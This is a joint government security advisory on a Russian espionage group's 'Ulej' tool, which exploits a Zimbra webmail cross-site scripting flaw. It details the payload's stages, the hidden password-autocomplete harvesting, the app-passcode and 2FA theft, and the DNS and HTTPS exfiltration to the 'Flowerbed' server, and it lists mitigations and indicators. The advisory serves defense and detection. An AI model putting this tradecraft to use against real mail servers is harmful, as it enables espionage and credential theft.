Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named â€œĐŁĐ»Đ”Đč” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

  • Last 90 days of emails,
  • Email address,
  • Password [T1589.001],
  • Global Address List (GAL) [T1087],
  • Two-factor authentication (2FA) tokens, and
  • Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.

Targeting details

LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

  • the Defense Industrial Base (DIB),  
  • the federal and local government,
  • education,
  • energy,
  • law enforcement,  
  • media,  
  • non-governmental organizations, and
  • technology.

Technical details

Note: This advisory uses the MITRE ATT&CK¼ Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FENDTM version 1.4.015. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.

Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.

Reconnaissance

LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].  

After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].  

Resource development

The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.

Flowerbed framework

Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

  • Catcher,
  • Certbot,
  • Nginx, and
  • Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.

The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.

Initial access

To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.

Figure 1: Example of malicious email
Figure 1: Example of malicious email

Figure 2: Headers from an example malicious email
Figure 2: Headers from an example malicious email

According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].  

Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.

Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

  1. sendStartPing,
  2. gather_email,
  3. gather_environment,
  4. gather_2fa_codes,
  5. gather_app_password,
  6. gather_device_status,
  7. gather_oauth_consumers,
  8. gather_autocomplete_password,
  9. enable_mail_protocols,
  10. gather_gal,
  11. sendArchives, and
  12. sendFinishPing. 

Figure 3: Malicious payload of example email
Figure 3: Malicious payload of example email

Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].

Persistence and credential access

To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.

The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.

During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.

Figure 4: First illegitimate login HTML element
Figure 4: First illegitimate login HTML element

Figure 5: Second illegitimate login HTML element
Figure 5: Second illegitimate login HTML element

LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.

ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.

Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.

Collection

As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.

Table 1: Additional SOAP commands used

SOAP Command 

Namespace 

Stage 

GetInfoRequest 

zimbraAccount 

gather_environment 

GetDeviceStatusRequest 

zimbraSync 

gather_device_status 

GetOAuthConsumersRequest 

zimbraAccount 

gather_oauth_consumers 

SearchGalRequest 

zimbraAccount 

gather_gal 

The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.

During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.

Table 2: ZCS webmail client types

Indicator 

Client Type 

Associated Value 

?client=advanced 

Advanced 

c 

/h/ 

Standard 

h 

/modern/ 

Modern 

m 

As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.  

According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.

The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.

Exfiltration

At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.

Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  

DNS exfiltration

DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.

Figure 6: Structure for information exfiltrated by DNS
Figure 6: Structure for information exfiltrated by DNS

When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  

Table 3: DNS exfiltration

Type of Information 

Exfiltration Stage 

Data Type 

Victim’s Email Address 

gather_email 

e 

Client Type 

gather_environment 

c 

Zimbra Version 

gather_environment  

v 

URL at Time of Exploitation 

gather_environment 

url 

2FA Scratch Codes 

gather_2fa_codes 

2fa 

Newly Created Application Password 

gather_app_password 

pa 

Harvested Autocomplete Password 

gather_autocomplete_password 

pw 

HTTPS exfiltration

Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.  

Table 4: HTTPS exfiltration types

Content Type 

URL Path 

application/json 

/v/p 

application/octet-stream 

/v/d 

Figure 7: Structure for information exfiltrated by HTTPS
Figure 7: Structure for information exfiltrated by HTTPS

Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  

Table 5 provides a summary of the JSON-based exfiltration.

Table 5: HTTPS JSON exfiltration  

Type of Information 

Exfiltration Stage 

JSON Key(s) 

Victim’s Email Address 

gather_email 

email 

Client Type, Version, and Current URL 

gather_environment 

client, version, full_url 

Newly Created Application Password 

gather_app_password 

app_password 

Harvested Autocomplete Password 

gather_autocomplete_password 

autocomplete_password 

The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.

 Table 6: HTTPS binary exfiltration

Type of Information 

Exfiltration Stage 

X-Filename Header 

SOAP request for GetInfoRequest 

gather_environment 

zimbra_batch_analytics.json 

SOAP request for GetScratchCodesRequest 

gather_2fa_codes 

zimbra_batch_analytics.json 

SOAP request for GetDeviceStatusRequest 

gather_device_status 

zimbra_batch_analytics.json 

SOAP request for GetOAuthConsumersRequest 

gather_oauth_consumers 

zimbra_batch_analytics.json 

Victim Organization’s Global Address List 

gather_gal 

telemetry_{1-20}.json 

Last 90 Days of Victim’s Emails 

sendArchives 

telemetryData_{0-89}.json 

The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.

At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).  

Catcher

Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.

Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.

The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  

However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

  • Time of query,
  • Source IP address for query,
  • Queried domain, and
  • Type of query.

The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

  • Time,
  • Source IP address,
  • Request method,
  • Host,
  • Path,
  • Query string,
  • Headers, and
  • Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.

Figure 8: Command used for automated directory cleanup
Figure 8: Command used for automated directory cleanup

Response strategies

Mitigations

In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.

All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].

System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.

Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.  

Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

  • Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
  • Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
  • A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and  
  • Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.

Indicators of compromise (IOCs)

Flowerbed infrastructure

The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].

Table 7: Flowerbed server infrastructure

Domain 

IP Address 

First Seen 

Last Seen 

zmailanalytics[.]com 

216.252.238[.]104 

8 July 2025 

15 October 2025 

zimbra-metadata[.]com 

216.252.238[.]18 

20 August 2025 

14 October 2025 

analyticemailmeter[.]com 

37.120.247[.]228 

24 September 2025 

18 March 2026 

emailanalytics.com[.]ua 

185.86.79[.]95 

24 September 2025 

18 March 2026 

mailnalysis[.]com 

104.248.134[.]194 

11 November 2025 

17 February 2026 

zimbrastat[.]com 

64.226.124[.]190 

18 December 2025 

18 March 2026 

zimbrasoft.com[.]ua 

193.238.152[.]66 

20 January 2026 

18 March 2026 

synacorzimbra[.]nl 

216.252.238[.]64 

3 February 2026 

30 March 2026 

istc-cloud[.]com 

194.156.103[.]193 

5 February 2026 

30 March 2026 

Table 8: Flowerbed X.509 certificate SHA-1 hashes  

Associated Domain 

X.509 SHA-1 Hash 

First Seen 

Last Seen 

zmailanalytics[.]com 

2e4f314bc9943cab5005d6fde0b271c74d47bc9d 

8 Jul 2025 

6 Aug 2025 

*.i.zmailanalytics[.]com 

50a87d926621dd06389ba50d86e0ff574ed713a8 

6 Aug 2025 

13 Oct 2025 

*.i.zimbra-metadata[.]com 

c5a72420e7bb308d078e62128430897f82194c95 

20 Aug 2025 

14 Oct 2025 

*.i.analyticemailmeter[.]com 

8959c4d29e29f02ea94ea8bb21c8df2594c5549d 

24 Sep 2025 

8 Nov 2025 

*.i.emailanalytics.com[.]ua 

62eb76432597694edb01c1fe57aab0cfe03a7178 

25 Sep 2025 

27 Sep 2025 

*.i.mailnalysis[.]com 

cddf5c3be1e07f28140aed165b929bf2d614922a 

12 Nov 2025 

17 Dec 2025 

*.i.zimbrastat[.]com 

18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 

18 Dec 2025 

28 Dec 2025 

*.i.zimbrasoft.com[.]ua 

1b25041ececf2457eef0270fc1d785cec8ec9ded 

21 Jan 2026 

10 Feb 2026 

*.i.synacorzimbra[.]nl 

e4fe6466a4f9a4249fe330651e914e45bbdca44a 

5 Feb 2026 

22 Mar 2026 

*.i.istc-cloud[.]com 

b6b77c9a455225d525834a403ca9ef5481ed0447 

12 Feb 2026 

30 Mar 2026 

LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

  • ivanka.zurabishvili@proton[.]me,
  • zmul1@buildandconsulting[.]com,
  • garrysmithme@pinmx[.]net, and
  • hostingclient@pinmx[.]net.

Phishing distribution

LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  

The following email addresses have distributed payloads attributed to this campaign:

  • c.laurent.ejfa@proton[.]me,
  • j.moreau.epsc@proton[.]me,
  • liberty.insights@proton[.]me,
  • certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
  • certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

  • 98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
  • 60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
  • b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
  • 1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts

Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.

This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

  • Many SearchGalRequest command requests from a single user over a short period of time;
  • Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
  • Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.

While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”

In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  

Remediation

In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.

Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.

All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.

Works cited

[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf

[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/

[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/ 

[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit

[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  

Footnotes

1 NĂĄrodnĂ­ Ășƙad pro kybernetickou a informačnĂ­ bezpečnost
2 Forsvarets Efterretningstjeneste
3 VĂ€lisluureamet
4 Sotilastiedustelu
5  Suojelupoliisi
6 Direction générale de la sécurité intérieure
7 Agence nationale de la sĂ©curitĂ© des systĂšmes d’information
8 Agenzia Informazioni e Sicurezza Esterna
9 Agenzia Informazioni e Sicurezza Interna
10 Serviciul de Informații și Securitate al Republicii Moldova
11 Agencja Wywiadu
12 SƂuĆŒba Kontrwywiadu Wojskowego
13 Centro Nacional de Inteligencia
14 Nationellt CybersÀkerhetscenter
15 MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.

Acknowledgements

The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations 

  • National Security Agency 
    Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
    Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
    Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov 
  • Cybersecurity and Infrastructure Security Agency 
    CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472). 
  • Federal Bureau of Investigation 
    If you or someone you know has fallen victim to this campaign, file a complaint with IC3. 
  • Defense Counterintelligence and Security Agency  
    DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil 
